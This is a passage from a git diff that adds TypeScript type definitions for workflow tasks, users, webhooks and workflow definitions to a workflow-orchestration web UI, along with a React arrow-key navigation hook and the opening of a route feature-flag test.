ForkJoinTaskDef extends ForkableTask { + type: TaskType.FORK_JOIN; + inputParameters?: Record; + forkTasks: Array>; + defaultCase: Array; +} + +export interface ForkJoinDynamicDef extends ForkableTask { + inputParameters: { + dynamicTasks: any; + dynamicTasksInput: any; + }; + type: TaskType.FORK_JOIN_DYNAMIC; + dynamicForkTasksParam: string; // not string "dynamicTasks", + dynamicForkTasksInputParamName: string; // not string "dynamicTasksInput", + startDelay?: number; + optional?: boolean; + asyncComplete?: boolean; +} + +export interface EventTaskDef extends CommonTaskDef { + type: TaskType.EVENT; + sink: string; + asyncComplete?: boolean; + optional?: boolean; + inputParameters?: Record; +} + +export interface SimpleTaskDef extends CommonTaskDef { + type: TaskType.SIMPLE; + inputParameters?: Record; +} + +export interface YieldTaskDef extends CommonTaskDef { + type: TaskType.YIELD; + inputParameters?: Record; +} + +export interface ContainingQueryExpression { + queryExpression: string; + [x: string | number | symbol]: unknown; +} + +export interface JsonJQTransformTaskDef extends CommonTaskDef { + type: TaskType.JSON_JQ_TRANSFORM; + inputParameters: ContainingQueryExpression; +} + +export interface InlineTaskInputParameters { + evaluatorType: "javascript" | "graaljs"; + expression: string; + [x: string]: unknown; +} + +export interface InlineTaskDef extends CommonTaskDef { + type: TaskType.INLINE; + inputParameters: InlineTaskInputParameters; +} + +export interface KafkaPublishInputParameters { + topic: string; + value: string; + bootStrapServers: string; + headers: Record; + key: string | Record; + keySerializer: string; +} + +export interface KafkaPublishTaskDef extends CommonTaskDef { + inputParameters: { + kafka_request: KafkaPublishInputParameters; + }; + type: TaskType.KAFKA_PUBLISH; +} + +export interface DynamicInputParameters { + taskToExecute?: string; +} + +export interface DynamicTaskDef extends CommonTaskDef { + type: TaskType.DYNAMIC; + inputParameters: DynamicInputParameters; + dynamicTaskNameParam: string; +} + +export interface SetVariableTaskDef extends CommonTaskDef { + type: TaskType.SET_VARIABLE; + inputParameters: Record; +} + +interface TerminateWorkflowParameters { + workflowId: string[]; + terminationReason: string; + triggerFailureWorkflow: boolean; +} + +export interface TerminateWorkflowTaskDef extends CommonTaskDef { + type: TaskType.TERMINATE_WORKFLOW; + inputParameters: TerminateWorkflowParameters; +} + +interface BusinessRuleParameters { + ruleFileLocation: string; + executionStrategy: string; + inputColumns: string | Record; + outputColumns: string | any[]; + cacheTimeoutMinutes?: number; +} + +export interface BusinessRuleTaskDef extends CommonTaskDef { + type: TaskType.BUSINESS_RULE; + inputParameters: BusinessRuleParameters; +} + +interface SendgridParameters { + from: string; + to: string; + subject: string; + contentType: string; + content: string; + sendgridConfiguration: string; +} + +export interface SendgridTaskDef extends CommonTaskDef { + type: TaskType.SENDGRID; + inputParameters: SendgridParameters; +} + +export interface StartWorkflowInputParameters { + startWorkflow: { + name: string; + input: Record; + }; +} + +export interface StartWorkflowTaskDef extends CommonTaskDef { + inputParameters: StartWorkflowInputParameters; +} + +export interface WaitForWebHookTaskDef extends CommonTaskDef { + inputParameters: { + matches: Record | string; + }; +} + +export interface WaitTaskDef extends CommonTaskDef { + type: TaskType.WAIT; + inputParameters?: Record<"duration" | "until", string>; + optional?: boolean; +} + +export enum JDBCType { + SELECT = "SELECT", + UPDATE = "UPDATE", +} + +export enum QueryProcessorType { + CONDUCTOR_API = "CONDUCTOR_API", + METRICS = "METRICS", + CONDUCTOR_EVENTS = "CONDUCTOR_EVENTS", +} + +export enum GetSignedJWTAlgorithmType { + RS256 = "RS256", +} + +export interface JDBCInputParameters { + connectionId?: string; // TODO: will be deprecated + integrationName: string; + statement: string; + parameters: any[]; + expectedUpdateCount?: string; + type: JDBCType; +} + +export const jdbcParameterKeys: Array = [ + "connectionId", + "expectedUpdateCount", + "integrationName", + "parameters", + "statement", + "type", +]; + +export interface JDBCTaskDef extends CommonTaskDef { + type: TaskType.JDBC; + inputParameters: JDBCInputParameters; +} + +export interface UpdateSecretTaskDef extends CommonTaskDef { + type: TaskType.UPDATE_SECRET; + inputParameters: { + _secrets: { + secretKey: string; + secretValue: string; + }; + }; +} + +export interface GetSignedJWTTaskDef extends CommonTaskDef { + type: TaskType.GET_SIGNED_JWT; + inputParameters: { + subject: string; + issuer: string; + privateKey: string; + privateKeyId: string; + audience: string; + ttlInSecond: number; + scopes: string[]; + algorithm: GetSignedJWTAlgorithmType; + }; +} + +export interface QueryProcessorInputParameters { + workflowNames: string[]; + startTimeFrom?: number; + startTimeTo?: number; + correlationIds?: string[]; + freeText?: string; + statuses: string[]; + queryType: QueryProcessorType; +} +export interface QueryProcessorTaskDef extends CommonTaskDef { + type: TaskType.QUERY_PROCESSOR; + inputParameters: QueryProcessorInputParameters; +} + +export interface OpsGenieTaskDef extends CommonTaskDef { + type: TaskType.OPS_GENIE; + inputParameters: { + alias: string; + description: string; + visibleTo: { id: string; type: string }[]; + details?: { + [x: string]: string; + }; + message: string; + priority?: string; + responders: { type: string; username: string }[]; + actions?: string[]; + entity?: string; + token?: string; + tags?: string[]; + }; +} + +export interface LLMTextCompleteTaskDef extends CommonTaskDef { + type: TaskType.LLM_TEXT_COMPLETE; + inputParameters: { + llmProvider?: string; + model?: string; + promptName?: string; + promptVariables?: Record; + temperature?: number; + topP?: number; + maxTokens?: number; + }; +} + +export interface LLMGenerateEmbeddings extends CommonTaskDef { + type: TaskType.LLM_GENERATE_EMBEDDINGS; + inputParameters: { + llmProvider?: string; + model?: string; + text?: string; + }; +} + +export interface LLMGetEmbeddings extends CommonTaskDef { + type: TaskType.LLM_GET_EMBEDDINGS; + inputParameters: { + vectorDB?: string; + namespace?: string; + index?: string; + embedding?: number[]; + }; +} + +export interface LLMStoreEmbeddings extends CommonTaskDef { + type: TaskType.LLM_SEARCH_INDEX; + inputParameters: { + vectorDB?: string; + namespace?: string; + index?: string; + embeddingModelProvider?: string; + embeddingModel?: string; + id?: string; + }; +} + +export interface LLMIndexDocument extends CommonTaskDef { + type: TaskType.LLM_INDEX_DOCUMENT; + inputParameters: { + vectorDB?: string; + namespace?: string; + index?: string; + embeddingModelProvider?: string; + embeddingModel?: string; + url?: string; + mediaType?: string; + chunkSize?: number; + chunkOverlap?: number; + }; +} + +export interface LLMSearchIndex extends CommonTaskDef { + type: TaskType.LLM_SEARCH_INDEX; + inputParameters: { + vectorDB?: string; + namespace?: string; + index?: string; + llmProvider?: string; + }; +} + +export interface LLMIndexText extends CommonTaskDef { + type: TaskType.LLM_INDEX_TEXT; + inputParameters: { + vectorDB?: string; + namespace?: string; + index?: string; + embeddingModelProvider?: string; + embeddingModel?: string; + docId?: string; + text?: string; + }; +} + +export interface GetDocumentTaskDef extends CommonTaskDef { + type: TaskType.GET_DOCUMENT; + inputParameters: { + url?: string; + mediaType?: string; + }; +} + +export interface UpdateTaskDef extends CommonTaskDef { + type: TaskType.UPDATE_TASK; + inputParameters: { + taskStatus: string; + workflowId?: string; + taskRefName?: string; + taskId?: string; + mergeOutput: boolean; + taskOutput?: Record; + }; +} + +export interface GetWorkflowDef extends CommonTaskDef { + type: TaskType.GET_WORKFLOW; + inputParameters: { + id: string; + includeTasks: boolean; + }; +} + +export interface LLMChatComplete extends CommonTaskDef { + type: TaskType.LLM_CHAT_COMPLETE; + inputParameters: { + llmProvider: string; + model?: string; + instructions?: string; + messages?: string; + }; +} + +export interface ChunkTextTaskDef extends CommonTaskDef { + type: TaskType.CHUNK_TEXT; + inputParameters: { + text?: string; + chunkSize?: number; + mediaType?: string; + }; +} + +export interface ListFilesTaskDef extends CommonTaskDef { + type: TaskType.LIST_FILES; + inputParameters: { + inputLocation: string; + integrationName?: string; + outputLocation?: string; + fileTypes?: string[]; + integrationNames?: Record; + }; +} + +export interface ParseDocumentTaskDef extends CommonTaskDef { + type: TaskType.PARSE_DOCUMENT; + inputParameters: { + integrationName: string; + url?: string; + mediaType?: string; + chunkSize?: number; + }; +} + +export interface AgentTaskDef extends CommonTaskDef { + type: TaskType.AGENT; + inputParameters: { + agentType?: string; + agentUrl: string; + text?: string; + prompt?: string; + contextId?: string; + taskId?: string; + pollIntervalSeconds?: number; + maxDurationSeconds?: number; + streaming?: boolean; + pushNotification?: boolean; + headers?: Record; + }; +} + +export interface GetAgentCardTaskDef extends CommonTaskDef { + type: TaskType.GET_AGENT_CARD; + inputParameters: { + agentType?: string; + agentUrl: string; + headers?: Record; + }; +} + +export interface CancelAgentTaskDef extends CommonTaskDef { + type: TaskType.CANCEL_AGENT; + inputParameters: { + agentType?: string; + agentUrl: string; + taskId: string; + headers?: Record; + }; +} + +export type LLMTaskTypes = + | LLMGenerateEmbeddings + | LLMGetEmbeddings + | LLMIndexDocument + | LLMSearchIndex + | LLMIndexText + | GetDocumentTaskDef + | LLMTextCompleteTaskDef + | LLMChatComplete; + +export type FormTaskType = + | TaskType.WAIT + | TaskType.HTTP + | TaskType.KAFKA_PUBLISH + | TaskType.HUMAN + | TaskType.BUSINESS_RULE + | TaskType.SENDGRID + | TaskType.WAIT_FOR_WEBHOOK + | TaskType.HTTP_POLL + | TaskType.DO_WHILE + | TaskType.SIMPLE + | TaskType.YIELD + | TaskType.JDBC + | TaskType.EVENT + | TaskType.JOIN + | TaskType.FORK_JOIN + | TaskType.FORK_JOIN_DYNAMIC + | TaskType.DYNAMIC + | TaskType.INLINE + | TaskType.SWITCH + | TaskType.JSON_JQ_TRANSFORM + | TaskType.TERMINATE + | TaskType.SET_VARIABLE + | TaskType.TERMINATE_WORKFLOW + | TaskType.SUB_WORKFLOW + | TaskType.START_WORKFLOW + | TaskType.LLM_TEXT_COMPLETE + | TaskType.LLM_GENERATE_EMBEDDINGS + | TaskType.LLM_GET_EMBEDDINGS + | TaskType.LLM_STORE_EMBEDDINGS + | TaskType.LLM_INDEX_DOCUMENT + | TaskType.LLM_SEARCH_INDEX + | TaskType.LLM_INDEX_TEXT + | TaskType.GET_DOCUMENT + | TaskType.UPDATE_SECRET + | TaskType.QUERY_PROCESSOR + | TaskType.OPS_GENIE + | TaskType.UPDATE_TASK + | TaskType.GET_WORKFLOW + | TaskType.LLM_CHAT_COMPLETE + | TaskType.GET_SIGNED_JWT + | TaskType.GRPC + | TaskType.INTEGRATION + | TaskType.CHUNK_TEXT + | TaskType.LIST_FILES + | TaskType.PARSE_DOCUMENT + | TaskType.AGENT + | TaskType.GET_AGENT_CARD + | TaskType.CANCEL_AGENT + | TaskType.LLM_SEARCH_EMBEDDINGS + | TaskType.LIST_MCP_TOOLS + | TaskType.CALL_MCP_TOOL + | TaskType.GENERATE_IMAGE + | TaskType.GENERATE_AUDIO + | TaskType.GENERATE_VIDEO + | TaskType.GENERATE_PDF; diff --git a/ui-next/src/types/TestTaskTypes.ts b/ui-next/src/types/TestTaskTypes.ts new file mode 100644 index 0000000..aa20bf4 --- /dev/null +++ b/ui-next/src/types/TestTaskTypes.ts @@ -0,0 +1,67 @@ +import { WorkflowExecution, WorkflowExecutionStatus } from "./Execution"; +import { TaskDef } from "./common"; + +export interface OpenTestTaskButtonProps { + task: string | any; + maxHeight: number; + disabled?: boolean; + showForm?: boolean; + tasksList?: Partial[]; +} + +export interface TestTaskButtonProps { + task: string | any; + maxHeight: number; + onDismiss: () => void; + showForm: boolean; + tasksList?: Partial[]; +} + +export interface TestTaskProps { + taskModel: Record; + onChangeModel: (modelChanges: Record) => void; + domain: string; + onChangeDomain: (value: string) => void; + value: Record; + maxHeight: number; + handleRunTestTask: () => void; + isInProgress: boolean; + onDismiss: () => void; + testExecutionId?: string; + testedTaskExecutionResult: WorkflowExecution; + showForm: boolean; +} + +export interface TestControlsProps { + taskModel: Record; + value: Record; + isInProgress: boolean; + handleRunTestTask: () => void; + onChangeModel: (modelChanges: Record) => void; + domain: string; + onChangeDomain: (value: string) => void; + showForm: boolean; +} + +export interface TestOutputProps { + onChangeModel: (modelChanges: Record) => void; + testedTaskExecutionResult: WorkflowExecution; + status: WorkflowExecutionStatus; + testExecutionId?: string; +} + +export interface FormSectionProps { + extractedJsonVariables: Record; + onChangeModel: (modelChanges: Record) => void; + value: Record; + domain: string; + onChangeDomain: (value: string) => void; +} + +export interface JsonSectionProps { + handleJSONChange: (newValue: string) => void; + taskModel: Record; + value: Record; + domain: string; + onChangeDomain: (value: string) => void; +} diff --git a/ui-next/src/types/TimeoutPolicy.ts b/ui-next/src/types/TimeoutPolicy.ts new file mode 100644 index 0000000..a81a7fa --- /dev/null +++ b/ui-next/src/types/TimeoutPolicy.ts @@ -0,0 +1,4 @@ +export enum TimeoutPolicy { + TIME_OUT_WF = "TIME_OUT_WF", + ALERT_ONLY = "ALERT_ONLY", +} diff --git a/ui-next/src/types/UpdateTaskStatus.ts b/ui-next/src/types/UpdateTaskStatus.ts new file mode 100644 index 0000000..991a364 --- /dev/null +++ b/ui-next/src/types/UpdateTaskStatus.ts @@ -0,0 +1,5 @@ +export enum UpdateTaskStatus { + COMPLETED = "COMPLETED", + FAILED = "FAILED", + FAILED_WITH_TERMINAL_ERROR = "FAILED_WITH_TERMINAL_ERROR", +} diff --git a/ui-next/src/types/User.ts b/ui-next/src/types/User.ts new file mode 100644 index 0000000..47f58c6 --- /dev/null +++ b/ui-next/src/types/User.ts @@ -0,0 +1,55 @@ +export interface Auth0User { + given_name?: string; + family_name?: string; + nickname?: string; + name?: string; + picture?: string; + locale?: string; + updated_at?: string; + email?: string; + email_verified?: boolean; + sub?: string; +} +export interface OktaUser { + sub: string; + name: string; + locale: string; + email: string; + preferred_username: string; + given_name: string; + family_name: string; + zoneinfo: string; + updated_at: number; + email_verified: boolean; +} + +export interface AccessPermission { + name: string; +} + +export interface AccessRole { + name: string; + permissions?: AccessPermission[]; +} + +export interface AccessGroup { + id: string; + description: string; + roles: AccessRole[]; + defaultAccess: unknown; // TODO fixme +} + +export interface User { + applicationUser: boolean; + groups: AccessGroup[]; + id: string; + name: string; + roles: AccessRole[]; + uuid: string; +} + +export interface UserContext { + user: Partial; + accessToken?: string; + isAuthenticated: boolean; +} diff --git a/ui-next/src/types/WebhookDefinition.ts b/ui-next/src/types/WebhookDefinition.ts new file mode 100644 index 0000000..9c12f16 --- /dev/null +++ b/ui-next/src/types/WebhookDefinition.ts @@ -0,0 +1,23 @@ +export interface WebhookExecution { + eventId: string; + matched: boolean; + workflowIds: string[]; + payload: string; + timeStamp: number; +} + +export interface WebhookDefinition { + name: string; + receiverWorkflowNamesToVersions: Record; + sourcePlatform: string; + id?: string; + workflowsToStart: Record; + headers: Record; + webhookExecutionHistory: WebhookExecution[]; + urlVerified: boolean; + verifier: string; + headerKey: string; + secretKey: string; + secretValue: string; + createdBy: string; +} diff --git a/ui-next/src/types/WorkflowDef.ts b/ui-next/src/types/WorkflowDef.ts new file mode 100644 index 0000000..b95098a --- /dev/null +++ b/ui-next/src/types/WorkflowDef.ts @@ -0,0 +1,36 @@ +import { TaskDef } from "./common"; +import { TagDto } from "./Tag"; + +export enum TimeoutPolicy { + RETRY = "RETRY", + TIME_OUT_WF = "TIME_OUT_WF", + ALERT_ONLY = "ALERT_ONLY", +} + +export interface WorkflowMetadataI { + name: string; + description: string; + version: number; + inputParameters?: string[]; + outputParameters?: Record; + restartable: boolean; + timeoutSeconds: number; + timeoutPolicy?: TimeoutPolicy; + failureWorkflow?: string; + ownerEmail: string; + updateTime: number; + workflowStatusListenerEnabled: boolean; + createTime?: number; + workflowStatusListenerSink?: string; + metadata?: Record; + inputSchema?: Record; + outputSchema?: Record; + enforceSchema?: boolean; +} +export type WorkflowDef = { + failureWorkflow: string; + schemaVersion: number; + tasks: TaskDef[]; + tags?: TagDto[]; + inputSchema?: Record; +} & WorkflowMetadataI; diff --git a/ui-next/src/types/WorkflowExecution.ts b/ui-next/src/types/WorkflowExecution.ts new file mode 100644 index 0000000..a538f58 --- /dev/null +++ b/ui-next/src/types/WorkflowExecution.ts @@ -0,0 +1,19 @@ +import { QueryDispatch, SetStateAction } from "react-router-use-location-state"; +import { TaskExecutionResult } from "./TaskExecution"; + +export type QueryFTType = { + query: string; + freeText: string; +}; + +export type ResultObjType = TaskExecutionResult; + +export interface DoSearchProps { + resultObj: ResultObjType; + queryFT: QueryFTType; + buildQuery: (defaultStartTime?: string) => QueryFTType; + setQueryFT: (value: QueryFTType) => void; + refetch: () => void; + setPage: QueryDispatch>; + setRecentTaskSearch?: () => void; +} diff --git a/ui-next/src/types/common.ts b/ui-next/src/types/common.ts new file mode 100644 index 0000000..a589ca3 --- /dev/null +++ b/ui-next/src/types/common.ts @@ -0,0 +1,183 @@ +import { AlertColor } from "@mui/material"; +import { TaskDefinitionDto } from "./TaskDefinition"; + +export interface IObject { + [key: string]: any; +} + +export type AuthHeaders = Record; + +export type HasAuthHeaders = { + authHeaders: AuthHeaders; +}; + +export const FIELD_TYPE_STRING = "string"; +export const FIELD_TYPE_NUMBER = "number"; +export const FIELD_TYPE_OBJECT = "object"; +export const FIELD_TYPE_BOOLEAN = "boolean"; +export const FIELD_TYPE_NULL = "null"; + +export type FieldType = + | typeof FIELD_TYPE_STRING + | typeof FIELD_TYPE_NUMBER + | typeof FIELD_TYPE_OBJECT + | typeof FIELD_TYPE_BOOLEAN + | typeof FIELD_TYPE_NULL; + +export type CoerceToType = "integer" | "double" | "string"; + +export interface Tag { + key: string; + value: string; + type: "METADATA" | "RATE_LIMIT"; +} + +export enum TaskType { + START = "START", + SIMPLE = "SIMPLE", + YIELD = "YIELD", + DYNAMIC = "DYNAMIC", + FORK_JOIN = "FORK_JOIN", + FORK_JOIN_DYNAMIC = "FORK_JOIN_DYNAMIC", + DECISION = "DECISION", + SWITCH = "SWITCH", + JOIN = "JOIN", + DO_WHILE = "DO_WHILE", + SUB_WORKFLOW = "SUB_WORKFLOW", + EVENT = "EVENT", + WAIT = "WAIT", + USER_DEFINED = "USER_DEFINED", + HTTP = "HTTP", + LAMBDA = "LAMBDA", + INLINE = "INLINE", + EXCLUSIVE_JOIN = "EXCLUSIVE_JOIN", + TERMINAL = "TERMINAL", + TERMINATE = "TERMINATE", + KAFKA_PUBLISH = "KAFKA_PUBLISH", + JSON_JQ_TRANSFORM = "JSON_JQ_TRANSFORM", + SET_VARIABLE = "SET_VARIABLE", + TERMINATE_WORKFLOW = "TERMINATE_WORKFLOW", + HUMAN = "HUMAN", + WAIT_FOR_EVENT = "WAIT_FOR_EVENT", + TASK_SUMMARY = "TASK_SUMMARY", + BUSINESS_RULE = "BUSINESS_RULE", + SENDGRID = "SENDGRID", + WAIT_FOR_WEBHOOK = "WAIT_FOR_WEBHOOK", + START_WORKFLOW = "START_WORKFLOW", + HTTP_POLL = "HTTP_POLL", + JDBC = "JDBC", + SWITCH_JOIN = "SWITCH_JOIN", // Pseudo task. doesn't really exist on the workflow + IA_TASK = "_ai_tc", + LLM_TEXT_COMPLETE = "LLM_TEXT_COMPLETE", + LLM_GENERATE_EMBEDDINGS = "LLM_GENERATE_EMBEDDINGS", + LLM_GET_EMBEDDINGS = "LLM_GET_EMBEDDINGS", + LLM_STORE_EMBEDDINGS = "LLM_STORE_EMBEDDINGS", + LLM_SEARCH_INDEX = "LLM_SEARCH_INDEX", + LLM_INDEX_DOCUMENT = "LLM_INDEX_DOCUMENT", + GET_DOCUMENT = "GET_DOCUMENT", + LLM_INDEX_TEXT = "LLM_INDEX_TEXT", + UPDATE_SECRET = "UPDATE_SECRET", + JUMP = "JUMP", + QUERY_PROCESSOR = "QUERY_PROCESSOR", + OPS_GENIE = "OPS_GENIE", + GET_SIGNED_JWT = "GET_SIGNED_JWT", + UPDATE_TASK = "UPDATE_TASK", + GET_WORKFLOW = "GET_WORKFLOW", + LLM_CHAT_COMPLETE = "LLM_CHAT_COMPLETE", + GRPC = "GRPC", + INTEGRATION = "INTEGRATION", + MCP_REMOTE = "MCP_REMOTE", + CHUNK_TEXT = "CHUNK_TEXT", + LIST_FILES = "LIST_FILES", + PARSE_DOCUMENT = "PARSE_DOCUMENT", + AGENT = "AGENT", + GET_AGENT_CARD = "GET_AGENT_CARD", + CANCEL_AGENT = "CANCEL_AGENT", + LLM_SEARCH_EMBEDDINGS = "LLM_SEARCH_EMBEDDINGS", + LIST_MCP_TOOLS = "LIST_MCP_TOOLS", + CALL_MCP_TOOL = "CALL_MCP_TOOL", + GENERATE_IMAGE = "GENERATE_IMAGE", + GENERATE_AUDIO = "GENERATE_AUDIO", + GENERATE_VIDEO = "GENERATE_VIDEO", + GENERATE_PDF = "GENERATE_PDF", +} + +export interface TaskDef { + name: string; + taskReferenceName: string; + description: string; + inputParameters?: IObject; + decisionCases?: Record; + type: TaskType; + dynamicTaskNameParam?: string; + caseValueParam?: string; + caseExpression?: string; + scriptExpression?: string; + dynamicForkTasksParam?: string; + dynamicForkTasksInputParamName?: string; + defaultCase?: TaskDef[]; + forkTasks?: Array; + startDelay: number; + joinOn: string[]; + sink?: string; + evaluatorType?: string; + expression?: string; + loopConditionType?: string; + loopCondition?: string; + optional: boolean; + defaultExclusiveJoinTask: string[]; + loopOver?: TaskDef[]; + subWorkflowParam?: { + name?: string; + version?: number | string; + workflowDefinition?: string | object; + idempotencyKey?: string; + idempotencyStrategy?: string; + priority?: string | number; + }; + asyncComplete?: boolean; + triggerFailureWorkflow?: boolean; + taskStatus?: string; + workflowId?: string; + taskRefName?: string; + taskId?: string; + mergeOutput?: boolean; + taskOutput?: Record; + iteration?: number; + taskDefinition?: TaskDefinitionDto; +} + +export interface TaskDto extends TaskDef { + executable?: boolean; + tags?: Tag[]; + createTime?: number; + ownerEmail?: string; + inputKeys?: string[]; + outputKeys?: string[]; + timeoutPolicy?: string; + timeoutSeconds?: number; + retryCount?: number; + retryLogic?: boolean; + retryDelaySeconds?: number; + responseTimeoutSeconds?: number; + inputTemplate?: string; + rateLimitPerFrequency?: string; + rateLimitFrequencyInSeconds?: number; +} + +export interface ErrorObj { + message?: string; + severity?: AlertColor; +} + +export type TryFn = () => Promise; + +export type NullifyValues = { + [K in keyof T]: T[K] extends object + ? T[K] extends null | undefined + ? null + : NullifyValues | null + : T[K] extends undefined + ? undefined + : T[K] | null; +}; diff --git a/ui-next/src/types/helperTypes.ts b/ui-next/src/types/helperTypes.ts new file mode 100644 index 0000000..9433cc4 --- /dev/null +++ b/ui-next/src/types/helperTypes.ts @@ -0,0 +1,3 @@ +export type Entries = { + [K in keyof T]: [K, T[K]]; +}[keyof T][]; diff --git a/ui-next/src/types/index.ts b/ui-next/src/types/index.ts new file mode 100644 index 0000000..6958029 --- /dev/null +++ b/ui-next/src/types/index.ts @@ -0,0 +1,23 @@ +export * from "./TaskStatus"; +export * from "./TaskType"; +export * from "./Schemas"; +export * from "./SchemasAjv"; +export * from "./Execution"; +export * from "./WorkflowDef"; +export * from "./common"; +export * from "./User"; +export * from "./Environment"; +export * from "./helperTypes"; +export * from "./Crumbs"; +export * from "./HumanTaskTypes"; +export * from "./Events"; +export * from "./Application"; +export * from "./TaskLog"; +export * from "./FormFieldTypes"; +export * from "./Tag"; +export * from "./Integrations"; +export * from "./Messages"; +export * from "./TaskDefinition"; +export * from "./Prompts"; +export * from "./TaskExecution"; +export * from "./EnvVariables"; diff --git a/ui-next/src/types/svg.d.ts b/ui-next/src/types/svg.d.ts new file mode 100644 index 0000000..7528ad7 --- /dev/null +++ b/ui-next/src/types/svg.d.ts @@ -0,0 +1,7 @@ +/// + +declare module "*.svg?react" { + import * as React from "react"; + const ReactComponent: React.FunctionComponent>; + export default ReactComponent; +} diff --git a/ui-next/src/useArrowNavigation.tsx b/ui-next/src/useArrowNavigation.tsx new file mode 100644 index 0000000..9095a25 --- /dev/null +++ b/ui-next/src/useArrowNavigation.tsx @@ -0,0 +1,192 @@ +import { + useCallback, + useMemo, + useState, + KeyboardEvent, + MouseEvent, +} from "react"; +import _nth from "lodash/fp/nth"; +import _first from "lodash/fp/first"; +import _last from "lodash/fp/last"; + +type useArrowNavigationProps = { + onSelect: (item: T) => void; + options: T[]; + optionsIdGen: (v: T) => string; + scrollToCenter: boolean; + hoveredItem: string; + setHoveredItem: (item: string) => void; +}; + +export type OptionPropsForItemT = { + onMouseMove: (e: any) => void; + onMouseLeave: (e: any) => void; + id: string; +}; + +function useArrowNavigation({ + onSelect, + options, + optionsIdGen, + scrollToCenter, + hoveredItem, + setHoveredItem, +}: useArrowNavigationProps) { + const [lastCursorPos, setLastCursorPos] = useState({ x: 0, y: 0 }); + + const [firstOptionItemHash, lastOptionItemHash] = useMemo(() => { + const head = _first(options); + const tail = _last(options); + + return [ + head ? optionsIdGen(head) : undefined, + tail ? optionsIdGen(tail) : undefined, + ]; + }, [options, optionsIdGen]); + + const [hoveredOptionValue, hoveredOptionValueIndex] = useMemo(() => { + const idx = options.findIndex( + (item: T) => hoveredItem === optionsIdGen(item), + ); + if (idx === -1) { + return [undefined, -1]; + } + return [_nth(idx, options), idx]; + }, [hoveredItem, options, optionsIdGen]); + + const moveDown = useCallback(() => { + if (hoveredItem !== "") { + if (options && options.length > 0) { + //get the index of hoveredItem from options and then add +1 + const nextIndex = hoveredOptionValueIndex + 1; + const maybeNextItem = _nth( + nextIndex < options.length ? nextIndex : 0, + options, + ); + + if (maybeNextItem) { + const nextElementHash = optionsIdGen(maybeNextItem); + setHoveredItem(nextElementHash); + if (typeof window !== "undefined") { + window.document.getElementById(nextElementHash)?.scrollIntoView({ + behavior: "smooth", + block: scrollToCenter ? "center" : "nearest", + inline: scrollToCenter ? "center" : "start", + }); + } + } + } + } else if (firstOptionItemHash) { + setHoveredItem(firstOptionItemHash); + } + }, [ + firstOptionItemHash, + hoveredItem, + hoveredOptionValueIndex, + options, + optionsIdGen, + scrollToCenter, + setHoveredItem, + ]); + + const moveUp = useCallback(() => { + if (hoveredItem !== "") { + if (options && options.length > 0) { + //get the index of hoveredItem from options and then add -1 + const maybePreviousItem = _nth(hoveredOptionValueIndex - 1, options); + + if (maybePreviousItem) { + const previousElementHash = optionsIdGen(maybePreviousItem); + setHoveredItem(previousElementHash); + if (typeof window !== "undefined") { + window.document + .getElementById(previousElementHash) + ?.scrollIntoView({ + behavior: "smooth", + block: scrollToCenter ? "center" : "nearest", + inline: scrollToCenter ? "center" : "start", + }); + } + } + } + } else if (lastOptionItemHash) { + setHoveredItem(lastOptionItemHash); + } + }, [ + lastOptionItemHash, + hoveredItem, + hoveredOptionValueIndex, + options, + optionsIdGen, + scrollToCenter, + setHoveredItem, + ]); + + const handleKeyDown = useCallback( + (event: KeyboardEvent) => { + if (event.key === "Enter") { + if (options && hoveredItem) { + if (hoveredOptionValue) { + onSelect(hoveredOptionValue); + } + } + } + if (event.key === "ArrowDown") { + event.preventDefault(); + moveDown(); + } + if (event.key === "ArrowUp") { + event.preventDefault(); + moveUp(); + } + }, + [options, hoveredItem, hoveredOptionValue, moveDown, moveUp, onSelect], + ); + + const handleMouseLeave = useCallback((event: MouseEvent) => { + setLastCursorPos({ x: event.screenX, y: event.screenY }); + }, []); + const handleMouseOver = (e: MouseEvent, index: string) => { + const currentCursorPos = { + x: e.screenX, + y: e.screenY, + }; + + if ( + currentCursorPos.x === lastCursorPos.x && + currentCursorPos.y === lastCursorPos.y + ) { + return; + } + setLastCursorPos({ x: e.screenX, y: e.screenY }); + + setHoveredItem(index); + }; + + const optionPropsForItem = (item: T): OptionPropsForItemT => { + return { + onMouseMove: (e: any) => { + handleMouseOver(e, optionsIdGen(item)); + }, + onMouseLeave: (e: any) => { + handleMouseLeave(e); + }, + id: optionsIdGen(item), + }; + }; + + const inputProps = { + onKeyDown: handleKeyDown, + }; + + return { + inputProps, + optionPropsForItem, + hoveredItem, + moveUp, + moveDown, + } as const; +} + +export default useArrowNavigation; +export type { useArrowNavigationProps }; diff --git a/ui-next/src/utils/__tests__/checkPathFlag.test.ts b/ui-next/src/utils/__tests__/checkPathFlag.test.ts new file mode 100644 index 0000000..4993937 --- /dev/null +++ b/ui-next/src/utils/__tests__/checkPathFlag.test.ts @@ -0,0 +1,87 @@ +import { describe, it, expect, vi } from "vitest"; + +vi.mock("utils/flags", () => ({ + FEATURES: { + SHOW_GET_STARTED_PAGE: "SHOW_GET_STARTED_PAGE", + SCHEDULER: "SCHEDULER", + SECRETS: "SECRETS", + HUMAN_TASK: "HUMAN_TASK", + WEBHOOKS: "WEBHOOKS", + RBAC: "RBAC", + INTEGRATIONS: "INTEGRATIONS", + REMOTE_SERVICES: "REMOTE_SERVICES", + SKU_ENABLED: "SKU_ENABLED", + }, + featureFlags: { + isEnabled: vi.fn(() => false), + }, +})); + +import { checkPathFlag } from "../checkPathFlag"; + +describe("checkPathFlag", () => { + describe("scheduler paths — gated by FEATURES.SCHEDULER flag", () => { + it("blocks /scheduleDef when SCHEDULER flag is disabled", () => { + expect(checkPathFlag("/scheduleDef")).toBe(false); + }); + + it("blocks /scheduleDef/:name when SCHEDULER flag is disabled", () => { + expect(checkPathFlag("/scheduleDef/my-schedule")).toBe(false); + }); + + it("blocks /schedulerExecs when SCHEDULER flag is disabled", () => { + expect(checkPathFlag("/schedulerExecs")).toBe(false); + }); + + it("blocks /newScheduleDef when SCHEDULER flag is disabled", () => { + expect(checkPathFlag("/newScheduleDef")).toBe(false); + }); + }); + + describe("core paths — always enabled regardless of flags", () => { + it("allows /workflowDef", () => { + expect(checkPathFlag("/workflowDef")).toBe(true); + }); + + it("allows /taskDef", () => { + expect(checkPathFlag("/taskDef")).toBe(true); + }); + + it("allows / (root catch-all)", () => { + expect(checkPathFlag("/")).toBe(true); + }); + }); + + describe("unknown paths fall through to / catch-all and are allowed", () => { + it("allows /executions", () => { + expect(checkPathFlag("/executions")).toBe(true); + }); + + it("allows /event-monitor", () => { + expect(checkPathFlag("/event-monitor")).toBe(true); + }); + + it("allows /execution/:id", () => { + expect(checkPathFlag("/execution/abc123")).toBe(true); + }); + }); + + describe("feature-gated paths — behavior depends on SKU_ENABLED flag", () => { + // When SKU_ENABLED is false (default), 